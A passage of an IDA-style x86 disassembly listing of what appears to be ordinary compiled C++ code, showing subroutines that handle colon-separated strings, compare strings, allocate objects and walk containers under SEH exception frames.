		add	esp, 4
		mov	dword ptr [esp+4Ch+var_3C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+4Ch], 2
		jz	short loc_413C10
		mov	ecx, eax
		call	sub_401F2D
		jmp	short loc_413C12
; ---------------------------------------------------------------------------


loc_413C10:				; CODE XREF: sub_413B70+95j
		xor	eax, eax


loc_413C12:				; CODE XREF: sub_413B70+9Ej
		push	offset asc_443C84 ; ":"
		lea	ecx, [esp+50h+var_20]
		push	esi
		push	ecx
		lea	ecx, [esp+58h+arg_4]
		mov	[esp+58h], bl
		mov	[esp+58h+arg_1C], eax
		call	sub_4016AE
		mov	ecx, [esp+4Ch+arg_1C]
		push	eax
		mov	byte ptr [esp+50h], 3
		call	sub_40200E
		lea	ecx, [esp+4Ch+var_20]
		mov	[esp+4Ch], bl
		call	sub_401226
		lea	edx, [esp+4Ch+arg_1C]
		mov	ecx, ebp
		push	edx
		call	sub_40147E
; ---------------------------------------------------------------------------
		inc	esi
		push	offset asc_443C84 ; ":"
		lea	eax, [esp+54h+var_3C]
		push	esi
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	loc_413BF0


loc_413C93:				; CODE XREF: sub_413B70+77j
		lea	ecx, [esp+50h+arg_0]
		mov	[esp+50h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_413CB9:				; CODE XREF: sub_413B70+26j
					; sub_413B70+37j
		lea	ecx, [esp+48h+arg_0]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+48h+var_C]
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
sub_413B70	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413D40	proc near		; CODE XREF: sub_401F2Dj
		push	esi
		mov	esi, ecx
		call	sub_401424
		mov	eax, esi
		pop	esi
		retn
sub_413D40	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413D60:				; CODE XREF: ___:004010F0j
		mov	eax, [esp+8]
		mov	edx, [esp+4]
		push	esi
		push	eax
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	edx
		call	sub_401861
		mov	ecx, esi
		call	sub_401181
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413DA0	proc near		; CODE XREF: sub_40189Dj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_14		= byte ptr  18h
arg_18		= byte ptr  1Ch
arg_2C		= byte ptr  30h
arg_30		= byte ptr  34h
arg_44		= byte ptr  48h
arg_48		= byte ptr  4Ch
arg_5C		= byte ptr  60h
arg_60		= byte ptr  64h

		push	0FFFFFFFFh
		push	offset SEH_413DA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		sub	esp, 18h
		lea	eax, [esp+3Ch+arg_30]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	eax
		mov	[esp+40h+var_4], 4
		call	sub_4014C9
		mov	ecx, ebp
		call	sub_401CD0
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	loc_413F8E
		sub	esp, 18h
		lea	edx, [esp+3Ch+arg_0]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	edx
		call	sub_4014C9
		mov	ecx, ebp
		call	sub_402112
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_413F8E
		push	edi
		lea	eax, [esp+28h+arg_18]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	eax
		call	sub_4014C9
		mov	ecx, ebp
		call	sub_4011DB
		cmp	al, bl
		jz	loc_413F8E
		push	offset byte_446F60
		lea	ecx, [esp+28h+arg_48]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413E87
		lea	ecx, [edi+2Ah]
		call	sub_4017E4
		lea	ecx, [esp+24h+arg_48]
		mov	esi, eax
		call	sub_4017E4


loc_413E56:				; CODE XREF: sub_413DA0+D4j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413E7A
		cmp	cl, bl
		jz	short loc_413E76
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413E7A
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413E56


loc_413E76:				; CODE XREF: sub_413DA0+C0j
		xor	eax, eax
		jmp	short loc_413E7F
; ---------------------------------------------------------------------------


loc_413E7A:				; CODE XREF: sub_413DA0+BCj
					; sub_413DA0+CAj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413E7F:				; CODE XREF: sub_413DA0+D8j
		cmp	eax, ebx
		jnz	loc_413F8E


loc_413E87:				; CODE XREF: sub_413DA0+A1j
		push	offset byte_446F60
		lea	ecx, [esp+28h+arg_60]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413EE3
		lea	ecx, [edi+3Fh]
		call	sub_4017E4
		lea	ecx, [esp+24h+arg_60]
		mov	esi, eax
		call	sub_4017E4


loc_413EB2:				; CODE XREF: sub_413DA0+130j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413ED6
		cmp	cl, bl
		jz	short loc_413ED2
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413ED6
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413EB2


loc_413ED2:				; CODE XREF: sub_413DA0+11Cj
		xor	eax, eax
		jmp	short loc_413EDB
; ---------------------------------------------------------------------------


loc_413ED6:				; CODE XREF: sub_413DA0+118j
					; sub_413DA0+126j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413EDB:				; CODE XREF: sub_413DA0+134j
		cmp	eax, ebx
		jnz	loc_413F8E


loc_413EE3:				; CODE XREF: sub_413DA0+FAj
		push	58h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+24h+var_10], eax
		cmp	eax, ebx
		mov	byte ptr [esp+24h+var_4], 5
		jz	short loc_413F03
		mov	ecx, eax
		call	sub_401D07
		jmp	short loc_413F05
; ---------------------------------------------------------------------------


loc_413F03:				; CODE XREF: sub_413DA0+158j
		xor	eax, eax


loc_413F05:				; CODE XREF: sub_413DA0+161j
		mov	[esp+24h+var_14], eax
		mov	[eax], edi
		mov	ecx, [esp+24h+var_14]
		lea	eax, [esp+24h+arg_0]
		push	eax
		add	ecx, 4
		mov	byte ptr [esp+28h+var_4], 4
		call	sub_40200E
		mov	eax, [esp+24h+var_14]
		lea	edx, [esp+24h+arg_30]
		push	edx
		lea	ecx, [eax+19h]
		call	sub_40200E
		lea	ecx, [esp+24h+var_14]
		push	ecx
		lea	ecx, [ebp+6Ch]
		call	sub_401406
; ---------------------------------------------------------------------------
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+28h+var_8], 3
		call	sub_401226
		lea	ecx, [esp+28h+arg_14]
		mov	byte ptr [esp+28h+var_8], 2
		call	sub_401226
		lea	ecx, [esp+28h+arg_2C]
		mov	byte ptr [esp+28h+var_8], 1
		call	sub_401226
		lea	ecx, [esp+28h+arg_44]
		mov	byte ptr [esp+28h+var_8], bl
		call	sub_401226
		lea	ecx, [esp+28h+arg_5C]
		mov	[esp+28h+var_8], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_413FDB
; ---------------------------------------------------------------------------


loc_413F8E:				; CODE XREF: sub_413DA0+44j
					; sub_413DA0+68j ...
		lea	ecx, [esp+24h+arg_0]
		mov	byte ptr [esp+24h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+24h+arg_18]
		mov	byte ptr [esp+24h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+24h+arg_30]
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+24h+arg_48]
		mov	byte ptr [esp+24h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+24h+arg_60]
		mov	[esp+24h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_413FDB:				; CODE XREF: sub_413DA0+1ECj
		mov	ecx, [esp+24h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 14h
		retn	78h
sub_413DA0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414090	proc near		; CODE XREF: sub_401D07j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414090
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_401424
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_414090	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414120:				; CODE XREF: ___:00401DC0j
		push	0FFFFFFFFh
		push	offset loc_439C10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+24h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401861
		mov	edx, [esp+3Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+58h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401861
		mov	eax, [esp+50h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+6Ch], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401861
		mov	edx, [esp+64h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+80h], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401861
		mov	eax, [esp+78h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+94h], esp
		push	eax
		mov	byte ptr [esp+8Ch], 3
		call	sub_401861
		mov	ecx, esi
		mov	dword ptr [esp+88h], 0FFFFFFFFh
		call	sub_40189D
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	14h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414210	proc near		; CODE XREF: sub_401537j
		add	ecx, 6Ch
		jmp	sub_401C62
sub_414210	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414230	proc near		; CODE XREF: sub_40137Fj

var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414230
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	60h
		mov	[esp+1Ch+var_4], 3
		call	sub_4367FA
sub_414230	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 4
		jz	short loc_414273
		mov	ecx, eax
		call	sub_401BE0
; ---------------------------------------------------------------------------
		jmp	short loc_414275
; ---------------------------------------------------------------------------


loc_414273:				; CODE XREF: ___:00414268j
		xor	eax, eax


loc_414275:				; CODE XREF: ___:00414271j
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 3
		push	ecx
		mov	ecx, eax
		mov	[esp+8], eax
		call	sub_40200E
		mov	eax, [esp+4]
		lea	edx, [esp+34h]
		push	edx
		lea	ecx, [eax+15h]
		call	sub_40200E
		mov	edx, [esp+4]
		lea	ecx, [esp+4Ch]
		push	ecx
		lea	ecx, [edx+2Ah]
		call	sub_40200E
		mov	ecx, [esp+4]
		lea	eax, [esp+64h]
		push	eax
		add	ecx, 3Fh
		call	sub_40200E
		lea	edx, [esp+4]
		lea	ecx, [esi+60h]
		push	edx
		call	sub_401EF1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 2
		call	sub_401226
		lea	ecx, [esp+34h]
		mov	byte ptr [esp+14h], 1
		call	sub_401226
		lea	ecx, [esp+4Ch]
		mov	byte ptr [esp+14h], 0
		call	sub_401226
		lea	ecx, [esp+64h]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	60h
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414360	proc near		; CODE XREF: sub_401BE0j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414360
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+18h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+18h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_401424
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+54h]
		push	eax
		mov	byte ptr [esp+1Ch+var_4], 3
		call	sub_40132A
sub_414360	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414400:				; CODE XREF: ___:004010FAj
		push	0FFFFFFFFh
		push	offset loc_439CD8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+20h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401861
		mov	edx, [esp+38h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+54h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401861
		mov	eax, [esp+4Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+68h], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401861
		mov	edx, [esp+60h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+7Ch], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401861
		mov	ecx, esi
		mov	dword ptr [esp+70h], 0FFFFFFFFh
		call	sub_40137F
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	10h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4144D0	proc near		; CODE XREF: sub_401DACj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4144D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		lea	ecx, [esp+18h+var_14]
		mov	[esp+18h+var_4], 0
		mov	[esp+18h+var_10], 0
		call	sub_401E1F
		mov	eax, [esp+18h+arg_18]
		lea	ecx, [esp+18h+arg_18]
		push	ecx
		lea	esi, [eax+54h]
		mov	ecx, esi
		call	sub_4012E9
		mov	edx, [eax]
		lea	eax, [esp+18h+arg_18]
		push	eax
		mov	ecx, esi
		mov	[esp+1Ch+var_14], edx
		call	sub_401D89
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D5C
		test	al, al
		jz	short loc_414580


loc_414535:				; CODE XREF: sub_4144D0+AEj
		lea	ecx, [esp+18h+arg_0]
		push	ecx
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401FA5
		mov	ecx, [eax]
		call	sub_401B72
		test	eax, eax
		jnz	short loc_41455D
		lea	ecx, [esp+18h+var_14]
		call	sub_401FA5
		mov	edx, [eax]
		mov	[esp+18h+var_10], edx


loc_41455D:				; CODE XREF: sub_4144D0+7Cj
		lea	ecx, [esp+18h+var_14]
		call	sub_4020A4
		lea	eax, [esp+18h+arg_18]
		mov	ecx, esi
		push	eax
		call	sub_401D89
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D5C
		test	al, al
		jnz	short loc_414535


loc_414580:				; CODE XREF: sub_4144D0+63j
		mov	eax, [esp+18h+var_10]
		test	eax, eax
		jz	short loc_4145C8
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_401258
		mov	ecx, [esp+18h+var_10]
		test	ecx, ecx
		jz	short loc_4145A3
		push	1
		call	sub_4019DD


loc_4145A3:				; CODE XREF: sub_4144D0+CAj
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_4145C8:				; CODE XREF: sub_4144D0+B6j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
sub_4144D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414640	proc near		; CODE XREF: sub_4019DDj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_402220
		test	[esp+4+arg_0], 1
		jz	short loc_414658
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414658:				; CODE XREF: sub_414640+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_414640	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_414670	proc near		; CODE XREF: sub_402220j
		jmp	sub_401226
sub_414670	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414690:				; CODE XREF: ___:00401276j
		push	0FFFFFFFFh
		push	offset loc_439D20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		xor	ebx, ebx
		push	offset asc_443C84 ; ":"
		lea	eax, [esp+1Ch]
		push	ebx
		push	eax
		lea	ecx, [esp+4Ch]
		mov	[esp+44h], ebx
		mov	byte ptr [esp+1Fh], 1
		xor	esi, esi
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jz	short loc_414759


loc_4146F3:				; CODE XREF: ___:00414757j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+44h]
		sub	esp, 18h
		mov	edx, esp
		mov	[esp+30h], esp
		push	offset asc_443C84 ; ":"
		push	esi
		push	edx
		call	sub_4016AE
		mov	ecx, ebp
		call	sub_401DAC
		cmp	al, bl
		jnz	short loc_414720
		mov	[esp+13h], bl


loc_414720:				; CODE XREF: ___:0041471Aj
		inc	esi
		push	offset asc_443C84 ; ":"
		lea	eax, [esp+1Ch]
		push	esi
		push	eax
		lea	ecx, [esp+4Ch]
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	short loc_4146F3


loc_414759:				; CODE XREF: ___:004146F1j
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+38h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+30h]
		mov	al, [esp+13h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4147D0	proc near		; CODE XREF: sub_40210Dj

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4147D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+1Ch+arg_0]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017E4
		test	eax, eax
		jz	loc_414904
		lea	ecx, [esp+1Ch+var_18]
		mov	[esp+1Ch+var_14], 0
		call	sub_402252
		add	esi, 6Ch
		lea	eax, [esp+1Ch+var_10]
		push	eax
		mov	ecx, esi
		call	sub_4018F2
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_10]
		mov	[esp+1Ch+var_18], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jz	short loc_4148AE


loc_414844:				; CODE XREF: sub_4147D0+DCj
		lea	eax, [esp+1Ch+arg_0]
		lea	ecx, [esp+1Ch+var_18]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 4
		call	sub_401B72
		test	eax, eax
		jz	short loc_41487C
		lea	ecx, [esp+1Ch+arg_18]
		push	ecx
		lea	ecx, [esp+20h+var_18]
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B72
		test	eax, eax
		jnz	short loc_41488B


loc_41487C:				; CODE XREF: sub_4147D0+8Ej
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40135C
		mov	edx, [eax]
		mov	[esp+1Ch+var_14], edx


loc_41488B:				; CODE XREF: sub_4147D0+AAj
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40118B
		lea	eax, [esp+1Ch+var_10]
		mov	ecx, esi
		push	eax
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jnz	short loc_414844


loc_4148AE:				; CODE XREF: sub_4147D0+72j
		mov	eax, [esp+1Ch+var_14]
		test	eax, eax
		jz	short loc_414904
		lea	ecx, [esp+1Ch+var_14]
		push	ecx
		mov	ecx, esi
		call	sub_402130
		mov	ecx, [esp+1Ch+var_14]
		test	ecx, ecx
		jz	short loc_4148D1
		push	1
		call	sub_4016FE


loc_4148D1:				; CODE XREF: sub_4147D0+F8j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+18h+var_C]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
; ---------------------------------------------------------------------------


loc_414904:				; CODE XREF: sub_4147D0+2Ej
					; sub_4147D0+E4j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
sub_4147D0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4149A0	proc near		; CODE XREF: sub_4016FEj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A5A
		test	[esp+4+arg_0], 1
		jz	short loc_4149B8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4149B8:				; CODE XREF: sub_4149A0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4149A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4149D0	proc near		; CODE XREF: sub_401A5Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4149D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+43h]
		mov	[esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4149D0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414A60:				; CODE XREF: ___:004013B1j
		push	0FFFFFFFFh
		push	offset loc_439D98
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401861
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401861
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40210D
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414AF0:				; CODE XREF: ___:00401B31j
		push	0FFFFFFFFh
		push	offset loc_439DB8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0
		call	sub_4017E4
		test	eax, eax
		jz	loc_414BF7
		lea	ecx, [esp+4]
		mov	dword ptr [esp+8], 0
		call	sub_401037
		add	esi, 60h
		lea	eax, [esp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_401983
		mov	ecx, [eax]
		lea	edx, [esp+0Ch]
		mov	[esp+4], ecx
		push	edx
		mov	ecx, esi
		call	sub_402234
		push	eax
		lea	ecx, [esp+8]
		call	sub_401AD7
		test	al, al
		jz	short loc_414BAF


loc_414B64:				; CODE XREF: ___:00414BADj
		lea	eax, [esp+20h]
		lea	ecx, [esp+4]
		push	eax
		call	sub_4011D1
		mov	ecx, [eax]
		call	sub_401B72
		test	eax, eax
		jnz	short loc_414B8C
		lea	ecx, [esp+4]
		call	sub_4011D1
		mov	ecx, [eax]
		mov	[esp+8], ecx


loc_414B8C:				; CODE XREF: ___:00414B7Bj
		lea	ecx, [esp+4]
		call	sub_4018B6
		lea	edx, [esp+0Ch]
		mov	ecx, esi
		push	edx
		call	sub_402234
		push	eax
		lea	ecx, [esp+8]
		call	sub_401AD7
		test	al, al
		jnz	short loc_414B64


loc_414BAF:				; CODE XREF: ___:00414B62j
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_414BF7
		lea	eax, [esp+8]
		mov	ecx, esi
		push	eax
		call	sub_401154
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_414BD2
		push	1
		call	sub_4011C7
; ---------------------------------------------------------------------------


loc_414BD2:				; CODE XREF: ___:00414BC9j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+0Ch]
		mov	large fs:0, ecx
